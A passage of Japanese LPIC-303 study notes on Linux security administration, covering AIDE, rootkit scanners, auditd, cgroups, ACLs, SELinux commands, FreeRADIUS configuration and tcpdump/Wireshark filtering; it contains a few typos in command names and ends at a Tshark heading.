AIDEの設定ファイルは/etc/aide.confであり、検査対象と検査内容を設定できる。

# 記述例
CONTENT_EX = sha256+ftype+p+u+g+n+acl+selinux+xattrs
検査ルール意味
pパーティション
ftypeファイル種別
iinode番号
lリンク名
nリンク数
uユーザ
gグループ
sファイルサイズ
bブロック数
m最終更新時刻
a最終アクセス時刻
c最終ステータス更新時刻
Sサイズの増分
I inode番号の変更は無視
aclアクセスコントロールリスト
selinuxSELinuxのコンテキスト
xattrs拡張ファイル属性
md5チェックサム(MD5)
sha256チェックサム(SHA256)
# 設定例
/boot/ CONTENT_EX # ルールの適用

!/etc/.*~ # etc以下の「.」ファイルは無視
=/var/log # /var/log以下のチェック
ディレクトリ/ファイルのルール説明
!<ターゲット>指定したファイル/ディレクトリを検査しない
=<ターゲット>指定したファイル/ディレクトリを検査する(下層ファイル含まず)
<ターゲット> <ルール>指定したファイルやディレクトリは以下ヘルール適用

aideコマンド

# データベースの初期化
aide --init

# データベースのチェック
aide --check

# データベースの更新
aide --update

aideの設定

システムに AIDE を実装するには、データベースを初期化する必要がある。 データベースは/var/lib/aideディレクトリに作成される。

7.2.3. OpenSCAP

OpenSCAPはSCAPのOSSで拡張構成チェックリスト記述形式(XDDCF)を利用する脆弱性/セキュリティ設定監査ツールのこと。 このツールではシステムのセキュリティ対策の設定や、脆弱性対策をどこまで行っているかなどを診断・HTMLファイルとしてレポートすることができる。

なおOpenSCAPは自動化のための言語OVAL(Open Vulnerability and Assessment Language)とセキュリティ設定のチェックリストのフォーマットであるXCCDF(The Extensible Configuration Checklist Description Format)などに対応している。

7.2.4. Maldet

MaldetはLinux Malware Detect(LMD)とも呼ばれる、マルウェア検出ツールのこと。 以下のような特徴を持つ。

  • 脅威を迅速に識別するためのMD5ファイルハッシュ検出
  • ClamAV(アンチウイルスソフトウェア)をスキャナエンジンとして統合
  • シグネチャ(マルウェア検体が持つバイトデータ)のアップデート機能
  • 脅威を安全に隔離・保存、脅威を取り除いた隔離ファイルの復元
  • マルウェアが挿入された文字列の削除を試行
  • cronによる日次のスキャン

標準ではインストールパッケージにcronスクリプトが含まれており、定期的にスキャンおよびシグネチャのアップデートが動作するよう設定されている。 動作設定は/etc/maldetect/conf.maldetで行う。

maldetコマンド

# スキャン
maldet -a
maldet --scan-all <ディレクトリ>

# レポート
maldet -e

7.2.5. ルートキットの検出

ルートキットはコンピュータへ侵入した後に、その活動や存在を隠蔽するためにシステムを改変し、侵入の形跡を隠滅してしまうソフトウェアのこと

chkrootkit

chkrootkit セキュリティスキャナは、システムが「ルートキット」に感染している兆候を検索できる。なおchkrootkitはrootkitを検出しても自動的に対処してくれるわけではないため、検出後は手動で処理する必要がある。

# ルートキットのチェック
chkrootkit

# ルートキットのチェック(冗長出力OFF)
chkrootkit -q

rkhunter

rkhunterはルートキット検知ツールで、マルウェア対策ソフトのように、定義データベースをアップデートすることで最新のrootkitに対応することができる。 設定ファイルは/etc/rkhunter.confとなる。

# 更新
rkhunter --update

# 保持されたデータファイルを現在値で更新
rkhunter --propupd

7.2.6. Auditdによるシステム監査

ログ監査システムはシステムによって保存場所やソフトウェアが異なる。 以下は通常のOS以上のログファイルを扱うプログラムである。

  • syslog … /var/logにログを保存
  • systemd-journald

LinuxのOSシステム監査にはAuditシステムが使用される。 auditdというデーモンによって、ファイルアクセスやシステムコールの監視、ユーザの特定の操作、セキュリティイベントの記録、ネットワークアクセスの監視など、様々なイベントを監視することができる。

監査の構成と記録

Auditにおいて、監査のログ(Auditログ)や監査のルールを設定するには以下のファイルやauditctlコマンドを用いる。

  • /etc/audit/auditd.conf … Auditログ全般の設定(ログファイルやローテーションの頻度など)
  • /etc/audit/audit.rules … Auditルールを設定(永続的な設定)
  • auditctlコマンド … Auditルールを設定(一時的)

なお、これらルールによる監査の結果は、デフォルトでは/var/log/audit/audit.logへ出力される。

Auditルール

audit.rulesauditctlコマンドで設定するAuditルールには、以下の3つがある。

  • 制御ルール … Auditルールの動作設定
  • システムコールルール … システムコールの呼び出し
  • ファイルシステムルール … 特定ファイル/ディクトリへのアクセス

auditctlコマンド

auditctlはAuditシステムのカーネルコンポーネントを制御し、Auditシステムの設定やパラメータ設定が行えるコマンド

auditctl <オプション>

# ファイルシステムルールの設定オプション
audtictl -w <パス> -p <パーミッション> -k <キーワード>

# システムコールルールの設定ぷしょん
auditctl -a <リスト,アクション> -S <システムコール名> -F <フィールド> -k <キーワード>
制御ルールのオプション説明
-b <値>Auditバッファの最大値
-e [0,1,2]監査設定(0:無効,1:有効,2:ロック)
-f [0,1,2]深刻なエラー時の挙動(0:何もなし,1:printkへ出力,2:カーネルパニック)
-r <メッセージ数>1秒あたりのメッセージ上限
-D全ルールの削除
-l現在の設定のリスト表示
-sAuditシステムのステータス表示
ファイルシステムルールに関するオプション説明
-w <パス>監査対象のファイル/ディレクトリ
-p <パーミッション>ログに記録するパーミッション設定(r:読み取り,w:書き込み,x:実行, a:属性変更)
-k <キーワード>ログエントリ参照時のキーワード
システムコールに関するオプション説明
-a [リスト, アクションリスト]リストおよびアクションの追加
-d <リスト,アクション>リスト/アクションの削除
-S <システムコール名>システムコール名または番号(全監視はall)
-F =アーキテクチャ/ユーザIDの条件に基づいてイベント照合する際の追加オプションを指定
-k <キーワード>ログエントリ参照時のキーワード
システムコールルールのアクション説明
always常に監査ログを記録
never監査ログの作成を行わない
システムコールルールのリスト説明
exclude特定イベントの除外
exitシステムコールの終了時
taskプロセス生成,プロセスコピー時
userアプリケーションイベントの対象にする

なお、システムコールの番号はusr/include/asm/unisted_64.hの参照、またはausyscallコマンドにより調べることができる。

その他のAuditユーティリティ

# Auditログファイル内のイベント検索
ausearch

# Auditログファイルに記録されたイベントについてサマリー/レポートの作成
aureport

# プログラム終了までシステム コールとプロセスを追跡できるコマンド
autrace

TTY入力の監視

各ユーザのTTY入力の監視の有効化はpam_tty_audit.soの設定を行う。 この設定によりユーザがどのコマンドを実行したかログに記録できる。

監査の有効化は/etc/pam.d/password-auth/etc/pam.d/system-auth陛下のように定義する。

# rootのみ、TTY入力の監査を有効にする
session required pam_tty_audit.so diable=* enable=root

なお、結果はaureport --ttyで参照できる。

7.3. リソース制御

LinuxOSにはユーザが使用できるシステムリソース量を制限できる機能があり、制限にはulimitコマンドを用いる。

7.3.1. ulimitコマンド

シェルやシェルにより開始されるプロセスが使用できるリソースを制限できるコマンド。

ulimit -a

/etc/security/limits.conf

再起動時にulimitの設定を維持するには、/etc/security/limits.confでシステム全体に制限をかける必要がある。

なお制限方法は以下の2種類がある。

  • ソフトリミット … 現在有効なユーザーの利用可能なリソースの制限
  • ハードリミット … 実際の最大制限

7.3.2. pam_limits.so

pam_limits.soモジュールはユーザセッションで取得できるシステムリソースに制限を設定できるもの。

なおuid=0のユーザも影響を受ける。 またデフォルトに制限は構成ファイル/etc/security/limits.conf、次にディレクトリ/etc/security/limit.dの各ファイルが読み取られる。

7.3.3. Cgroup

CgroupはRedHat系の機能でシステム上で実行されているユーザー定義のタスク (プロセス) グループ間で、CPU 時間、システム、メモリ、ネットワーク帯域幅、またはこれらのリソースの組み合わせなどのリソースを割り当てることができる仕組みのこと。

一言で言うとカーネル内の特定のサブシステムを制御するためのメカニズムといえる。

Cgroups V1(RHEL8以前)の仕組み

CgroupsはKubernetes、Docker等のコンテナ技術でも使用されている。 Cgroupにおいてデバイス、CPU,メモリ(RAM)、ネットワークアクセスなどのサブシステムはコントローラと呼ぶ。

コントローラのタイプ(Cpu,blkio,memoryなど)はツリー上に細分化され、各枝や葉には独自の重み/制限がある。 コントローラのグループは複数のプロセスが関連付けられているため、リソースしよるいつが細かくなっており微調整が容易となっている。

Cgropus

cgroup はリソースタイプごとに作成され、相互に関連付けはない。 つまり、すべてのコントローラにグループを関連付けることはできるが、グループは独立して扱われる

/proc/cgroups

コンピュータ上で有効なコントロールグループが確認できる。

cat /proc/cgroups

/sys/fs/group

sysfs経由でも確認できる。

ls -l  /sys/fs/group

コントロールグループに関する情報の取得

systemd-cglsコマンドで制御グループの階層を表示ができるsystemd-cgtopコマンドではのリソース消費をリアルタイムで監視できる

systemd-cgls

systemd-cgtop

14.3.8 - 8.アクセス制御

【LPIC303範囲】LinuxのACLや権限設定、SELinuxなどに関する説明

8.1. 任意アクセス制御

任意アクセス制御はDACとも呼ばれ、アクセス制御リスト(ACL)を用いて実装できる。

8.1.1. 基本的なシステム権限設定

chmodコマンド

ファイルのアクセス許可を変更するために使用できるコマンド。

詳細はコチラから。

suid/guid

Linux権限システムでは、SUIDでユーザIDベースの、GUIDでグループIDベースのアクセスモードが提供されている。

プログラムにSUIDアクセスモード(u+s)で設定されている場合、そのファイルの所有者によりプロセスが開始されたように見える。

またプログラムにGUIDアクセスモード(g+s)で設定されている場合、プログラムはファイルのグループに属しているように実行される。

詳細はコチラから。

スティッキービット

ディレクトリにスティッキービット(o+t)を設定すると、ファイルの削除またはリンク解除を所有ユーザーまたはrootのみに許可できる

詳細はコチラから。

chownコマンド

rootユーザが使用できるコマンドでファイルの所有権を変更できるコマンド

詳細はコチラから。

拡張属性

拡張属性(xattr)はファイルシステム内のファイルまたはディレクトリに追加データを追加するメカニズムで、ext2、ext3、ext4、jfs、xfs、reiserfs、btrfs などの多くのファイル システムがサポートしている。

拡張ファイル属性は、ファイル システム、データ管理 API などの他のミドルウェア、オペレーティング システム、またはユーザーによってプログラム的に設定できるキーと値のペアのこと。

拡張属性の名前は、次の拡張属性名のように、名前空間名、ドット、属性名で構成される。

user.swift.metadata

system.posix_acl_access

パブリックの名前空間は以下の通り。

  • user … 名前や内容の制限なし名前空間
  • Trusted … 通常のプロセスがアクセスできない拡張属性に情報を保持するメカニズムをユーザー空間に実装するために使用される
  • security … SELinux によって使用される
  • system … 主にカーネルによってアクセス制御リスト (ACL) 用に使用される

getgfattr/setfattrコマンド

attrパッケージで使用できるコマンドにはgetgfattr/setfattrコマンドがある。 拡張属性の設定・確認に使用する。

# 指定されたパス内のファイルごとに、ファイル名と、そのファイルに関連付けられている拡張属性名 (およびオプションで値) のセットを表示
getfattr

# 指定されたパスの名前付き属性を返す
getfattr -n <name>
getfattr --name <name>

# 拡張属性名および値を表示
getfattr -d
getfattr --dump

# 指定されたパターンに一致する属性を持つ属性を返す
getfattr -m <pattern>

# 拡張属性の値の表示形式を指定する
getfattr -e <エンコード>
getfattr --encoding=<エンコード>
# 指定された各ファイルの拡張属性名に新しい値を関連付ける
setfattr

# 指定されたパスの名前付き属性を返す
setfattr -n <name>
setfattr --name <name>
# 指定された属性に割り当てる新しい値
setfattr -v <value>
setfattr --value <value>
# 属性を完全に削除
setfattr -x  <name>
setfattr --remove  <name>
# 指定したACLをデフォルトACLに設定
setfattr -d 
setfattr --default
# 指定したACLに設定を変更/追加
setfattr -m <権限>

8.1.2. ACLの使用

ACLは所有者以外のユーザーまたはグループに対して異なる権限であっても、特定の権限を定義する場合に使用できる。

また、ACLの使用は基本的な所有権や権限を (必然的に) 変更することなく、より具体的な権限のセットをファイルまたはディレクトリに適用できる。これにより、他のユーザーまたはグループのアクセスを追加できるようになる。

ACL権限を割り当てることができるエントリ タグは4つある。

  • user(u) … ファイル所有者または指定されたユーザ
  • group(g) … グループ所有者または指定されたグループ
  • mask(m) … ファイル所有者のユーザー エントリを除く、任意の ACL エントリによって付与できる最大アクセスを指定するエントリ
  • other(o) … ユーザーまたはグループの ACL エントリに一致しないプロセスに許可されるアクセスを指定するエントリ

設定例は以下の通り。

# ユーザー john には読み取りおよび書き込みアクセス権を与える
u:john:rw-
# グループ スタッフには読み取りアクセス権を付与
g:staff:r--
# その他のアクセスはなし
o::---

getfaclコマンド

getfaclコマンドはファイルごとにファイル アクセス制御リスト(ACL)を取得できるコマンド。 ディレクトリにデフォルト ACL がある場合は、 getfaclデフォルト ACL も表示される。

getfacl <ファイル名/ディレクトリ名>
オプション説明
-a設定されているACLの表示
-dデフォルトACLを表示
-RファイルやディレクトリのACLを再帰的に表示

setfaclコマンド

setfaclコマンドはACLを設定するコマンド。構文は以下の通り。

setfacl [オプション] [アクション] ファイル

なおアクションは-mで変更、-xで削除になる。

使用例は以下の通り。

# Userにパーミッションを追加する
setfacl -m "u:user:permissions" /path/to/file

ACLのマスク設定

マスク設定を行うとすべてのユーザーに許可される最大設定に設定される。 また、マスク設定は、chmodまたは setfaclコマンドのいずれかを使用してアクセス許可を変更すると、間接的に自動的に再度更新される。

コマンド説明
setfacl -m u:lisa:r file追加のユーザーに読み取りアクセスを許可する
setfacl -m m::rx fileすべてのグループおよびすべての指定ユーザーからの書き込みアクセスを取り消す (有効な権限マスクを使用)
setfacl -x g:staff fileファイルの ACL からの名前付きグループ エントリの削除
getfacl file1setfacl –set-file=- file2
getfacl –access dirsetfacl -d -M- dir

8.2. 強制アクセス制御

8.2.1. DACとMAC

ほとんどの主流のOSのセキュリティシステムはDACと呼ばれる所有権によりセキュリティを強制する任意アクセス制御(DAC)に基づいている。 DACではユーザーがファイルを所有している場合、そのファイルに対する読み取り、書き込み、および実行のアクセス許可を設定できる。 つまりユーザの裁量でデータを制御するのがDACと呼べる。

Linuxにおいてはrootアカウントによりもたらされる危険性、具体的に言えばすべてのファイルとプロセスを制御する権限を持っているため、root アカウント、またはその権限で実行されるプロセスが侵害されると、攻撃者がシステムとそのデータを制御する可能性がある。

MAC(強制アクセス制御)はrootアカウントの必要性が制限される、または排除され、権限がユーザアカウントからシステムの所有者に移される。 MACではセキュリティポリシの適用を強制する。なおセキュリティポリシーは、システム所有者が設定し、システム管理者またはセキュリティ管理者が実装できる。 これらのポリシーが設定されると、たとえ root 権限を持っていたとしても、ユーザーはポリシーを上書きできない。そのためMACではファイルとプロセスの保護は所有者から独立しているといえる。

有名な強制アクセス制御(MAC)のシステムは以下のようなものがある。

  • SELinux
  • AppArmor
    • UbuntuやSUSE Linuxで使用されているセキュリティモジュール
    • プロファイルと呼ばれるセキュリティポリシーを使用して、アプリケーション単位のアクセス権を設定することができる
    • AppArmorはファイルパスで保持するため、ファイルシステムを選ばずに利用できるという利点がある
  • Smack
    • 設定がシンプルなセキュリティモジュール
    • カーネルモジュール、起動スクリプト、GNUセキュリティパッケージ用のパッチセット、の三つで構成される

DACとMACの処理順序

Linuxにおいてプロセスがファイルアクセスをする際、DAC => MACの順に処理される。 この際、DACとMAC両方許可されたときのみファイルアクセスに成功する。

なお、アクセス先がファイルではない場合、DACは関係なく、MACのみ処理される。 また、SELinuxでエラーが発生したときは監査ログ(/var/log/audit/audit.log)に記述される。

8.2.2. SELinux

SELinux(Security - Enhanced Linux)は管理者がシステムにアクセスできるユーザーをより詳細に制御できるようにするLinuxアーキテクチャのこと。 米国のNSAにより開発された。

SELinuxの動作

SELinuxは、システム上のアプリケーション、プロセス、ファイルのアクセス制御を定義する。 これはSELinux にアクセスできるものとできないものを指示する一連のルールであるセキュリティポリシーを使用して、ポリシーによって許可されたアクセスを強制する

アプリケーションまたはプロセスがファイルなどのオブジェクトへのアクセス要求(サブジェクトと呼ばれる)を行うとSELinux はサブジェクトとオブジェクトのアクセス許可がキャッシュされているアクセスベクターキャッシュ (AVC) を使用してチェックする。 SELinux がキャッシュされたアクセス許可に基づいてアクセスを決定できない場合、リクエストをセキュリティサーバーに送信する。 セキュリティサーバーは、アプリまたはプロセスとファイルのセキュリティコンテキストをチェックする。セキュリティコンテキストは SELinux ポリシーデータベースから適用され、その後、許可が付与または拒否される。

なおアクセス許可が拒否された場合、avc: denied/var/log.messagesに表示される。

SELinuxの機能

  • TE(Type Enforcement) * プロセスやリソースに対する操作権限を制限する * プロセスには「ドメイン」、ファイルやディレクトリなどのリソースには「タイプ」というラベルを付与することにより、細かなアクセス制御を実現する
  • ドメイン遷移 * 子プロセスを、親プロセスとは異なるドメインに遷移させる * 子プロセスを親プロセスと異なるドメインに遷移させる事により、親プロセスの持つ権限を引き継がず個別に権限を制御できる
  • RBAC(Role Based Access Control) * 従来のLinuxにおいてrootユーザが持っていた絶対的な権限を分散し、「システム管理者」や「Web管理者」といったロール(役割)をユーザに割り当てる
  • MAC(Mandatory Access Control)

SELinuxの設定

SELinux を構成するに様々な方法があるが、一般的な方法には対象を絞ったポリシーまたは**マルチレベルセキュリティ (MLS)**がある。

  • 対象を絞ったポリシー … デフォルト設定。さまざまなプロセス、タスク、サービスをカバーする
  • MLS … 通常は政府機関の機器で使用される設定

SELinuxの動作は/etc/sysconfig/selinuxファイルの確認で可能。 このファイルにはSELinuxが許容モード、強制モード、または無効のいずれであるか、またはどのポリシーがロードされることになっているかが保存される。

cat /etc/sysconfig/selinux
  • Enforcing … アクセス違反は拒否する
  • Permissive … アクセス違反は許可されるが、ログに記録する

セキュリティコンテキスト

セキュリティコンテキストの書式は以下の通り。

ユーザ識別子:ロール識別子:対応識別子[:MLS]
  • ユーザ識別子 … SELinuxユーザ
  • ロール識別子 … ユーザに割り当てるロールを表す
  • タイプ識別子 … TEで使用するドメインまたはタイプを表す
  • MLS … 情報の機密性を表す
ユーザ識別子説明
rootシステム管理者用
system_uプロセスなどを使用するユーザ用
user_u一般ユーザ用
ロール識別子説明
object_rファイルなどロールが不要なものに付与
staff_r一般ユーザが使用(sysadm_rに変更可能)
user_r一般ユーザが使用(sysadm_rに利用不可能)
sysadm_rシステム管理者が使用
system_rプロセスが使用
タイプ識別子説明
sshd_tSSH接続時に使用
sysdam_tシステム管理者が使用

セキュリティコンテキストの確認

セキュリティコンテキストの確認は以下コマンドで行える。

  • プロセス … ps Zコマンド
  • ファイル/ディレクトリ … ls -Zコマンド

SELinuxの動作モード確認

SELinuxはデフォルトで有効になっており、デフォルトモードであるEnforceモードで動作している。 確認にはsestatusコマンドで確認できる。

sestatus

またSELinuxポリシーの一部をクエリするにはseinfoコマンドで行える。

seinfo

またapolと呼ばれるGUI SELinux ポリシー分析ツールではsesinfoコマンドと同様の機能をGUIで提供する。 利用にはsetools-uiパッケージをインストールする必要がある。

SELinuxの一次的な有効化/無効化

getenforceコマンドで可能。

getenforce

またsetenforceコマンドはSELinuxのステータスを設定するコマンド。 設定できるパラメータは以下の通り。

  • Disabled … SELinuxの無効化
  • Permissive … ポリシを強制する代わりに警告表示。アクセス制限は無効。
  • Enforcing … セキュリティポリシの強制。アクセス制御が有効。
# 無効化
setenforce 0
# 有効化
setenforce 1

SELinuxの永続的な有効化/無効化

SELinuxの永続設定は/etc/selinux/configファイルの編集にて行う。 再起動後に設定が反映される。

# 有効化
SELINUX=enforcing

# 無効化
SELINUX=disabled

Bool値によるSELinuxポリシの設定

Bool値を使用すると、SELinuxポリシの作成に関する知識がなくても実行時に、SELinuxのポリシ一部を変更できる。 これはSELinuxのポリシのリロード、再コンパイルを行わずに、サービスによるNFSボリュームへのアクセス許可などの変更が可能になることを意味する。

またBool値を設定/表示するコマンドは以下の通り。

コマンド説明
getseboolコマンドはBool値をリストするコマンド
setseboolブール値を有効または無効にするコマンド

SELinuxにおけるファイルのラベル付け

SELinuxではSELinuxコンテキストと呼ばれるすべてのプロセスとファイルにセキュリティ関連の情報を表すラベルが付けられる。

確認にはls -Z <ファイル名/ディレクトリ名>で行える。

ls -Z file1
-rw-rw-r--  user1 group1 unconfined_u:object_r:user_home_t:s0 file1

SELinuxはユーザ(u)/ロール(r)/タイプ(t)/レベル(s0)の情報を提供する。 これらの情報はアクセス制御の決定を行うために使用される。

またSELinuxにはファイルシステムへのラベル付けを管理するためのコマンドで以下のものを提供している。

  • chcon
  • semanage fcontext
  • restorecon

SELinux関連コマンド一覧

操作系コマンド説明
getenforce現在の動作モード表示
setenforce動作モードの一時的変更
selinuxenabledSELinuxが有効か数値で返す
chconファイルやディレクトリのセキュリティコンテキストを変更
restoreconセキュリティコンテキストの復元
runcon指定されたセキュリティコンテキストでコマンドを実行
fixfilesSELinuxの設定ファイルに従いすべてのファイルにラベルを付与
setfiles指定した設定ファイルに従ってファイルにラベルを付与
sestatusSELinuxの現状を表示
seinfoSELinuxのロールやドメインなど各種情報を表示
newrole指定したロールに変更してシェルを起動
getseboolBool値で示されるポリシーの状態取得
setseboolBool値で示されるポリシーの設定
toggleseboolBool値で示されるポリシーの値変更
semanageSELinuxに関する各種操作
解析系コマンド説明
apolGUIでSELinuxポリシの分析
seauditGUIでSELinuxの監査ログを解析
seaudit-report監査ログのSELinux用カスタムレポートの作成
audit2why監査ログを解析し、アクセス拒否が発生した理由と解決方法を提示
audit2allow監査ログを解析しアクセス拒否が起きないルールを提示

chconコマンド

chconコマンドはファイル/ディレクトリのセキュリティコンテキストを変更するコマンド。 ただし、このchconコマンドで行われた変更は、ファイルシステムのラベルを変更したり、restoreconコマンドを実行したりしても保持されない。

# ファイルタイプの変更
chcon -t httpd_sys_content_t file-name
# ファイルタイプと内容の再帰的変更
chcon -R -t httpd_sys_content_t directory-name

8.2.1. SELinuxコンテキストを管理するためのツール

restoreconコマンド

ファイルの SELinux コンテキストを以前のタイプに復元するコマンド。 -vオプションで変更内容を表示する。

restorecon -v file1

fixfilesコマンド

restoreconコマンドと同じ機能を提供するコマンド。

restorecon

setfilesコマンド

SELinux ファイルのセキュリティコンテキストを設定するために使用できるコマンド。

setfiles

8.2.2. SELinuxコンテキストとロールをテストするためのツール

SELinux の一部には、Role-Based Access Control (RBAC) セキュリティモデルが実装されている。ロールは RBAC の属性となる。 SELinux ユーザーにはロールが承認され、ロールはドメインに対して承認される。 この役割はドメインと SELinux ユーザーの間の仲介者として機能する これは、権限昇格攻撃に対する脆弱性を軽減するのに役立つ。

newroleコマンド

新しいコンテキストで新しいシェルを実行するコマンド。

newrole

runco​​nコマンド

指定された SELinux コンテキストでコマンドを実行するコマンド。

runco​​n

8.2.3. 汎用的なSELinux管理コマンド

semanageコマンド

ポリシーソースの変更や再コンパイルを必要とせずに、SELinux ポリシーの特定の要素を構成するために使用されるコマンド。

semanage <引数>
引数説明
importローカルのカスタマイズをインポート
exportローカルのカスタマイズを出力
loginLinux ユーザーと SELinux 制限付きユーザーの間のログイン マッピングを管理する
userSELinux 制限付きユーザーの管理 (SELinux ユーザーの役割とレベル)
portネットワークポートタイプ定義の管理
interfaceネットワークインターフェースタイプの定義を管理する
moduleSELinux ポリシーモジュールの管理
nodenetworkノード タイプの定義を管理する
fcontextファイルコンテキストマッピング定義の管理
booleanブール値を管理して機能を選択的に有効にする
permissiveプロセスタイプ強制モードの管理
dontauditポリシー内の dontaudit ルールを無効/有効にする
ibpkeyinfiniband pkey タイプ定義の管理
ibendportInfiniband エンドポートタイプ定義の管理

semanage booleanコマンド

許可ルールのセットを有効または無効にすることができるコマンド。 これにより、異なるユースケースに対して異なるルールセットを許可することが可能になる。

ユースケースはユーザーのホーム ディレクトリのデータなどのユーザー コンテンツの読み取りを許可する必要がある Web サーバーがある場合などがある。このとき、SELinux ではデフォルトではそれができないが、semanage booleanコマンドを使用すると、その機能を有効にすることができる。

semanage boolean -l | grep httpd

semanage fcontextコマンド

アクセス制御を決定するための追加情報 (SELinux ユーザー、ロール、タイプ、レベルなど) を含むファイル コンテキスト定義を管理するために使用されるコマンド。

# 利用可能なポリシーの完全なリストを表示する
semanage fcontext -l

semanage portコマンド

カスタムポートでサービスを実行できるコマンド。

semanage port -a -t ssh_port_t -p tcp 2112

カスタムポートでサービスを実行しようとすると、サービスは失敗する。 例として、SSH デーモンを標準以外のポートで実行したいとする。このために単に sshd_config を構成すると、SELinux はこの変更が行われたことを認識しないため、SELinux がアクセスをブロックする。

8.2.4. CUIでのSELinux AVCメッセージのトラブルシューティング

SELinux がアクションを拒否すると、アクセス ベクター キャッシュ (AVC) メッセージがファイルに記録される。 保存される場所は/var/log/audit/audit.log/var/log/messagesに保存され、またそれはjournaldデーモンによって記録される。

ausearchコマンド

最近の AVC メッセージを検索し、SELinux がアクションを拒否していることを確認できるコマンド。

ausearch -m AVC,USER_AVC -ts recent

-mオプションはausearch が返す情報の種類を指定、-tsはタイムスタンプを指定する。

  • -ts recently … 過去10分間のAVCメッセージを表示
  • -ts today … 1日全体のメッセージを表示

sealertコマンド

AVC メッセージをさらに詳細に確認するコマンド。

sealert -l [メッセージID]

8.2.5. Seaudit

Seauditはログを表示し、特定の SELinux ポリシーに基づいてフィルタリングするためのGUIツール。

8.2.6. MACの代替ツール

SELinux以外のMACツールには以下のようなものがある。

  • AppArmor
    • Ubuntuで人気のMACツール
    • SELinuxよりも管理が容易
    • inode番号ではなくファイルパスにタイプを割り当てる
    • モード:EnforcementComplainの2つ
    • aa-genprofaa-logpro fコマンド(ポリシ作成に使用)がある
  • Smack
    • カーネルにコンパイルする必要がある
    • ラベルの割り当てに拡張ファイル属性を使用
    • -ZSELinux のようなフラグを使用
    • chsmackコマンドをラベル情報のクエリと設定に使用する

14.3.9 - 9.ネットワークセキュリティ

【LPIC303範囲】Radiusサーバ、Snort、iptablesによるファイヤーウォール設定、OpenVPN/WireGuardなどに関して。

9.1. ネットワークセキュリティの強化

9.1.1. Radius

Radius(Remote Authentication Dial-In User Service)は接続するユーザーとネットワーク サービスに一元的な認証、認可、アカウンティング(通称AAA)を提供するプロトコルのこと。

  • 認証(Authentication) … クライアント (ユーザー、デバイス、またはプロセス) がシステムの本物のユーザーであるかどうかを判断するプロセス
  • 認可(Authorization) … クライアントがネットワーク上で何を行うことが許可されているかを決定するプロセス
  • アカウンティング … ネットワーク上のクライアントのアクティビティを監視し、サービスのコストを計算するために必要な情報を提供するプロセス

3つの AAA プロトコルすべてを使用する必要はなく、必要なプロトコルのみを使用する。

9.1.2. FreeRADIUS

FreeRADIUSはOSSのRadius実装で最も広く使用されている RADIUS サーバのこと。 FreeRADIUSは認証サービスを提供するradiusdデーモンを提供する。

インストール

dnf install  freeradius freeradius-utils freeradius-mysql freeradius-perl

サービスの開始

systemctl enable radiusd --now

/etc/raddb/*

/etc/raddb/*以下にFreeRADIUSの設定ファイルが格納される。 代表的な設定ファイルは以下の通り。

  • radiusd.conf … FreeRADIUSのプライマリ設定ファイル。サーバーのログ記録とパフォーマンスの設定ができる
  • client.conf … クライアント構成ディレクティブ
  • proxy.conf … プロキシ半径およびrealm設定ディレクティブ
  • policy.d

Radmin

radminは実行中のサーバーの制御ソケットに接続し、それにCLIを提供するFreeRADIUSサーバー管理ツールのこと。

radmin <オプション>
オプション説明
-dデフォルトは/etc/raddb。 radmin はここでサーバー構成ファイルを検索し、制御ソケットのファイル名を定義する「listen」セクションを見つけます。
-D 辞書ディレクトリメイン辞書ディレクトリを設定する。 デフォルトは/usr/share/freeradiusとなる
-e コマンドコマンドを実行して終了する
-E実行中のコマンドをEchoする
-f ソケットファイルソケットファイル名を直接指定する
-hヘルプ情報の表示
-i 入力ファイル指定されたファイルから入力を読み取る。指定しない場合はstdin が使用される
-n 名前/raddb/radiusd.confの代わりに/raddb/name.confを読み取る

基本構成

デフォルトの構成を使用することがサーバの設定を最も破壊せずに使用できる方法といえる。 この場合、ユーザとパスワードの設定のみでよくなる。 手順は以下の通り。

  1. /etc/raddb/clients.confを編集してエントリ追加する
  2. ipaddrにクライアントIP、secretには通信の暗号化と復号化に使用される共有秘密を指定
  3. /etc/raddb/usersを編集しユーザアカウントを作成する
  4. testing Cleartext-Password := "password"のように設定
  5. サーバーをデバッグモードで起動する(radiusd -X)

なお、クライアントの設定方式は以下のようになる。

client test {
    ipaddr = 192.168.0.0/24
    secret = test_abcz
}

radtestコマンド

FreeRADIUS サーバーが動作可能になった際に、アカウントをテストできるコマンド。

radtest {username} {password} Pradius-server} {nas-port-number} {radius_secret}

使用例は以下の通り。

radtest testing mypass localhost 0 s3cre3t

radclientコマンド

radclientは任意のRADIUSパケットをRADIUSサーバに送信し応答を表示するコマンド。れは、RADIUS サーバーの設定に加えた変更をテストするために使用したり、RADIUS サーバーが稼働しているかどうかを監視したりするために使用できる。

radclient <オプション>

radlastコマンド

radlastコマンドはlastコマンドのFreeRADIUS サーバーにおけるフロントエンド。

radlast <オプション>

radwhoコマンド

radwhoコマンドは現在ログオンしているユーザーを表示するコマンド。

radwho <オプション>

9.1.3. ネットワークユーティリティ

tcpdumpコマンド

tcpdumpはシステムを通過する TCP/IP パケットなどのネットワーク トラフィックをキャプチャ、フィルタリング、分析するために使用できるコマンド。 システム管理者が Linux での接続の問題をトラブルシューティングするためのコマンドともいえる。

なおtcpdumpを用いて.pcapファイルにパケット情報を保存することもできる。

tcpdump <オプション> [条件式]
オプション説明
-i <インターフェイス>指定したインターフェイスの監視
-nホスト名ではなくIPアドレスの表示
-r <ファイル>ファイルからパケット情報を取得
-w <ファイル>パケット情報をファイルへ出力する
-s <バイト数>パケットを取り出すバイト数を指定する
-xパケット内容を16進数で表示する
-Xパケット内容を16進数とASCII文字列で表示する
-pプロミスキャスモードにしない
-mMIBモジュールを読み込む
条件式修飾子説明
host <ホスト>送信先/送信元がホストならば真
port <ポート番号>送信元/送信先がポート番号ならば真
src <送信元>
dst <送信元>
送信元/送信先の条件指定
and , or複合条件の設定

WireShark

Wireshark はパケットを分析するためのGUIツール。 Wireshark は GUI ツールだが、tshark として知られる CLI に相当するツールがある。

Wiresharkでは、条件を指定することで表示するパケットをフィルタリングすることができる。

フィルタ条件説明
host <ホスト>送信先/送信元がホストのパケットをキャプチャ
net <ネットワーク>対象のネットワークを流れるパケットをキャプチャ
[tcp/udp] port <ポート>対象プロトコルのポートが流れるパケットをキャプチャ
src/dst <送信元>送信先/送信元が送信元/送信先のパケットのみをキャプチャ
portrange A-Bポート番号A-Bの範囲のパケットをキャプチャ

条件式は以下の通り。

  • A eq B … A=B
  • A gt B … A>B
  • A ge B … A>=B
  • A lt B … A<B
  • A le B … A<=B
  • A and B … AかつB
  • A or B … AまたはB
  • not <条件式> … 条件満たさないとき
  • A[パターン] == B … パターンがBに合致でおk

Tshark

